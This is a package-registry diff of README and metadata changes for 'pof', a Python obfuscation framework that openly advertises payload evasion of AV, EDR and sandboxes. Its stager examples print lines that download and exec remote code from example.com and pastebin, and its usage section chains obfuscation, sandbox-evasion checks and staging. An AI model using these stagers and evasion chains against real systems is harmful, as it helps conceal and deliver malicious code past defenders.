python-obfuscation-framework 1.4.2__tar.gz → 1.4.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {python_obfuscation_framework-1.4.2/python_obfuscation_framework.egg-info → python_obfuscation_framework-1.4.3}/PKG-INFO +84 -81
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/README.md +83 -80
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/cli.py +10 -8
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/argv.py +1 -1
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/expire.py +2 -2
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/main.py +3 -3
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/names_rope.py +1 -3
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/numbers.py +1 -3
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/image.py +12 -1
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3/python_obfuscation_framework.egg-info}/PKG-INFO +84 -81
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/setup.py +1 -1
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/LICENSE +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/MANIFEST.in +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/__main__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/errors.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/base.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/cpu/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/cpu/cpu_count.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_exist.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_list_exist.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_list_missing.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_missing.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/exec_method.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/executable_path.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_exist.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_list_exist.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_list_missing.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_missing.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/tmp.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hardware/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hardware/ram_count.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/debugger.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/tracemalloc.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/p.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/prompt.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/integrity.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/multi.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/domain.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/hostname.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/uid.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/username.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/processes/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/processes/proc_count.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/uptime.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/utc.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/utils.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/builtins.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/deep_encryption.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/shift.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/xor.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/bz2.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/gzip.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/lzma.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/zlib.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/constants.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/definitions.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/a85.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b16.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b32.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b32hex.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b64.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b85.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/binascii.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/snt.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/call.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/doc.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/globals.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/imports.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/extract_variables.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/add_comments.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/add_newlines.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/names.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/other/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/other/tokens.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/comments.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/exceptions.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/indents.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/loggings.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/loggings_old.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/newline.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/print.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/restructure.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/docstrings.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/ipv6encoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/macencoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/uuidencoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/strings.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/download.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/cl1pnet.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/pastebin.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/pasters.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/quine.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/shift.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/bz2.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/gzip.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/lzma.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/zlib.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/a85.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b16.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b3.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b32.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b32hex.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b64.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b85.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/binascii.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/snt.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/entropy.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/extract_names.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/advanced.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/base.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/basic.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/names.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/unicode.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/homoglyphs.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/homoglyphs.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/__init__.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/ipv6encoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/macencoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/uuidencoding.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/tokens.py +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pyproject.toml +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/SOURCES.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/dependency_links.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/entry_points.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/not-zip-safe +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/requires.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/top_level.txt +0 -0
- {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/setup.cfg +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: python-obfuscation-framework
|
|
3
|
-
Version: 1.4.
|
|
3
|
+
Version: 1.4.3
|
|
4
4
|
Summary: Python Obfuscation Framework.
|
|
5
5
|
Home-page: https://github.com/deoktr/pof
|
|
6
6
|
Author: deoktr
|
|
@@ -75,6 +75,7 @@ pof will allow you to:
|
|
|
75
75
|
- do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques
|
|
76
76
|
- slow **analysis**: slow down human analysis of the payload
|
|
77
77
|
- enable **automation**: automate the whole process, to produce numerous variant of the payload
|
|
78
|
+
- be **cross-platform**: works on Linux, Windows, and macOS
|
|
78
79
|
- have **fun**: because it's always fun to see what's possible to do with Python
|
|
79
80
|
|
|
80
81
|
This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.
|
|
@@ -85,19 +86,9 @@ This project could also give you ideas to implement in other languages, such as
|
|
|
85
86
|
|
|
86
87
|
You could also use most of the stagers to stage payload that are not built in Python.
|
|
87
88
|
|
|
88
|
-
## Shortcomings
|
|
89
|
-
|
|
90
|
-
Any obfuscation techniques that add code complexity will make the code run slower. For most usage this won't have an impact, and no one is using Python for speed anyway (at least I hope).
|
|
91
|
-
|
|
92
|
-
Encoding, compression, encryption will slow the start of the programs, because it will first have to decode, de-compress, or decrypt it.
|
|
93
|
-
|
|
94
|
-
Strings, numbers, builtin, obfuscators will make the code run slower, because they will add complexity to many parts of it.
|
|
95
|
-
|
|
96
|
-
And finally the 'classical' techniques, names, definitions won't have an impact on the speed of the code, because they'll simply rename elements of the code.
|
|
97
|
-
|
|
98
89
|
## Install
|
|
99
90
|
|
|
100
|
-
There are
|
|
91
|
+
There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.
|
|
101
92
|
|
|
102
93
|
### 1. PIP
|
|
103
94
|
|
|
@@ -107,7 +98,7 @@ From [pypi](https://pypi.org/project/python-obfuscation-framework):
|
|
|
107
98
|
pip install python-obfuscation-framework
|
|
108
99
|
```
|
|
109
100
|
|
|
110
|
-
### 2.
|
|
101
|
+
### 2. Source
|
|
111
102
|
|
|
112
103
|
```bash
|
|
113
104
|
git clone https://github.com/deoktr/pof
|
|
@@ -128,43 +119,55 @@ docker build -t pof .
|
|
|
128
119
|
docker run --rm -it pof --help
|
|
129
120
|
```
|
|
130
121
|
|
|
131
|
-
Run inside Docker from a file.
|
|
122
|
+
Run inside Docker from a local file `in.py`:
|
|
132
123
|
|
|
133
124
|
```bash
|
|
134
|
-
docker run --rm -v $(pwd):/tmp -it pof
|
|
125
|
+
docker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py
|
|
135
126
|
```
|
|
136
127
|
|
|
137
|
-
|
|
128
|
+
### 4. Nix
|
|
138
129
|
|
|
139
|
-
|
|
130
|
+
From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):
|
|
140
131
|
|
|
141
132
|
```bash
|
|
142
|
-
|
|
133
|
+
nix shell github:onix-sec/nixsecpkgs#pof
|
|
143
134
|
```
|
|
144
135
|
|
|
145
|
-
|
|
136
|
+
## Usage
|
|
146
137
|
|
|
147
|
-
```
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
UserClassSlots=__builtins__.__dict__.__getitem__(_45802(''[::-1]).decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'ukf'[::-1]]))(__builtins__.__getattribute__('\u006f\u0072\u0064')(i)-(__name__.__eq__.__call__(__name__)+__name__.__eq__.__call__(__name__)+__name__.__eq__(__name__)))for i in CRT_ASSERT('c3VscXc=').decode()]))
|
|
151
|
-
UserClassSlots(CRT_ASSERT('').decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'parse_intermixed_argsu'.replace('parse_intermixed_args','fk')]))(__builtins__.__dict__.__getitem__(_45802('L}g}jVP{fhb9HQVa%2').decode().replace("".join([chr(ord(i)-3)for i in'GhiudjUhvxow']),'o'[::-1]))(i)-(__name__.__eq__.__call__(__name__)+globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'])[::-1]].__dict__["".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'Wuxsimple_stmt'.replace('simple_stmt','h')])]+(type(1)==type(1))))for i in'gourz#/r_pfK'[::-1].replace(_45802('W^i9}').decode(),CRT_ASSERT('aG9vcg==').decode())]))
|
|
152
|
-
```
|
|
138
|
+
```bash
|
|
139
|
+
# pipe input and output to stdout
|
|
140
|
+
echo "print('Hello, world')" | pof
|
|
153
141
|
|
|
154
|
-
|
|
142
|
+
# output to file
|
|
143
|
+
pof in.py -o out.py
|
|
155
144
|
|
|
156
|
-
|
|
145
|
+
# redirect to file
|
|
146
|
+
pof in.py > out.py
|
|
157
147
|
|
|
158
|
-
|
|
148
|
+
# pipe to python to run it
|
|
149
|
+
pof in.py | python
|
|
150
|
+
|
|
151
|
+
# obfuscator
|
|
159
152
|
pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
|
|
160
|
-
```
|
|
161
153
|
|
|
162
|
-
|
|
154
|
+
# stager
|
|
155
|
+
pof in.py -o out.py -f stager -k PasteRsStager
|
|
163
156
|
|
|
164
|
-
|
|
165
|
-
pof
|
|
157
|
+
# evasion
|
|
158
|
+
pof in.py -o out.py -f evasion -k CPUCountEvasion
|
|
159
|
+
|
|
160
|
+
# evasion with custom params
|
|
161
|
+
pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
|
|
162
|
+
|
|
163
|
+
# combine everything from the CLI
|
|
164
|
+
pof in.py -f obfuscator -k BuiltinsObfuscator |\
|
|
165
|
+
pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
|
|
166
|
+
pof -f stager -k PasteRsStager > out.py
|
|
166
167
|
```
|
|
167
168
|
|
|
169
|
+
You can also use the Python API directly, you can find examples in the corresponding directory or bellow.
|
|
170
|
+
|
|
168
171
|
## Examples
|
|
169
172
|
|
|
170
173
|
These are examples of obfuscators of the script `print('Hello, world')`.
|
|
@@ -187,40 +190,24 @@ echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
|
|
|
187
190
|
|
|
188
191
|
#### StringsObfuscator
|
|
189
192
|
|
|
190
|
-
Reverse.
|
|
191
|
-
|
|
192
193
|
```python
|
|
194
|
+
# Reverse
|
|
193
195
|
print('dlrow ,olleH'[::-1])
|
|
194
|
-
```
|
|
195
|
-
|
|
196
|
-
Replace.
|
|
197
196
|
|
|
198
|
-
|
|
197
|
+
# Replace
|
|
199
198
|
rint('Helnelemd'.replace('nelem','lo, worl'))
|
|
200
|
-
```
|
|
201
199
|
|
|
202
|
-
Unicode
|
|
203
|
-
|
|
204
|
-
```python
|
|
200
|
+
# Unicode
|
|
205
201
|
print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
|
|
206
|
-
```
|
|
207
|
-
|
|
208
|
-
Shift cipher.
|
|
209
202
|
|
|
210
|
-
|
|
203
|
+
# Shift cipher
|
|
211
204
|
print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
|
|
212
|
-
```
|
|
213
205
|
|
|
214
|
-
Base 64 encoding
|
|
215
|
-
|
|
216
|
-
```python
|
|
206
|
+
# Base 64 encoding
|
|
217
207
|
from base64 import b64decode
|
|
218
208
|
print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
|
|
219
|
-
```
|
|
220
|
-
|
|
221
|
-
Base 85.
|
|
222
209
|
|
|
223
|
-
|
|
210
|
+
# Base 85
|
|
224
211
|
from base64 import b85decode
|
|
225
212
|
print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
|
|
226
213
|
```
|
|
@@ -229,33 +216,20 @@ print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
|
|
|
229
216
|
|
|
230
217
|
Source: `print(42)`
|
|
231
218
|
|
|
232
|
-
String.
|
|
233
|
-
|
|
234
219
|
```python
|
|
220
|
+
# String
|
|
235
221
|
print(int('42'))
|
|
236
|
-
```
|
|
237
222
|
|
|
238
|
-
Addition
|
|
239
|
-
|
|
240
|
-
```python
|
|
223
|
+
# Addition
|
|
241
224
|
print((int(35+7)))
|
|
242
|
-
```
|
|
243
|
-
|
|
244
|
-
Hex.
|
|
245
225
|
|
|
246
|
-
|
|
226
|
+
# Hex
|
|
247
227
|
print(int('0x2a',0))
|
|
248
|
-
```
|
|
249
228
|
|
|
250
|
-
Len
|
|
251
|
-
|
|
252
|
-
```python
|
|
229
|
+
# Len
|
|
253
230
|
print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
|
|
254
|
-
```
|
|
255
231
|
|
|
256
|
-
Boolean
|
|
257
|
-
|
|
258
|
-
```python
|
|
232
|
+
# Boolean
|
|
259
233
|
print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
|
|
260
234
|
```
|
|
261
235
|
|
|
@@ -283,17 +257,11 @@ Obfuscate builtins functions using one of the following methods.
|
|
|
283
257
|
|
|
284
258
|
```python
|
|
285
259
|
__builtins__.__getattribute__('print')('Hello, world')
|
|
286
|
-
```
|
|
287
260
|
|
|
288
|
-
```python
|
|
289
261
|
__builtins__.__dict__['print']('Hello, world')
|
|
290
|
-
```
|
|
291
262
|
|
|
292
|
-
```python
|
|
293
263
|
globals()['__builtins__'].__dict__['print']('Hello, world')
|
|
294
|
-
```
|
|
295
264
|
|
|
296
|
-
```python
|
|
297
265
|
__builtins__.__dict__.__getitem__('print')('Hello, world')
|
|
298
266
|
```
|
|
299
267
|
|
|
@@ -541,7 +509,7 @@ print(oct.__doc__[8])
|
|
|
541
509
|
|
|
542
510
|
```python
|
|
543
511
|
from urllib import request
|
|
544
|
-
exec(request.urlopen("
|
|
512
|
+
exec(request.urlopen("https://example.com/payload.py").read())
|
|
545
513
|
```
|
|
546
514
|
|
|
547
515
|
#### ImageStager
|
|
@@ -577,7 +545,14 @@ from urllib import request
|
|
|
577
545
|
exec(request.urlopen("https://pastebin.com/raw/...").read())
|
|
578
546
|
```
|
|
579
547
|
|
|
580
|
-
|
|
548
|
+
> [!NOTE]
|
|
549
|
+
> You'll need to add a pastebin API key:
|
|
550
|
+
>
|
|
551
|
+
> ```bash
|
|
552
|
+
> echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
|
|
553
|
+
> ```
|
|
554
|
+
|
|
555
|
+
The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
|
|
581
556
|
|
|
582
557
|
#### RC4Stager
|
|
583
558
|
|
|
@@ -628,6 +603,12 @@ For this example, the randomly generated key is:
|
|
|
628
603
|
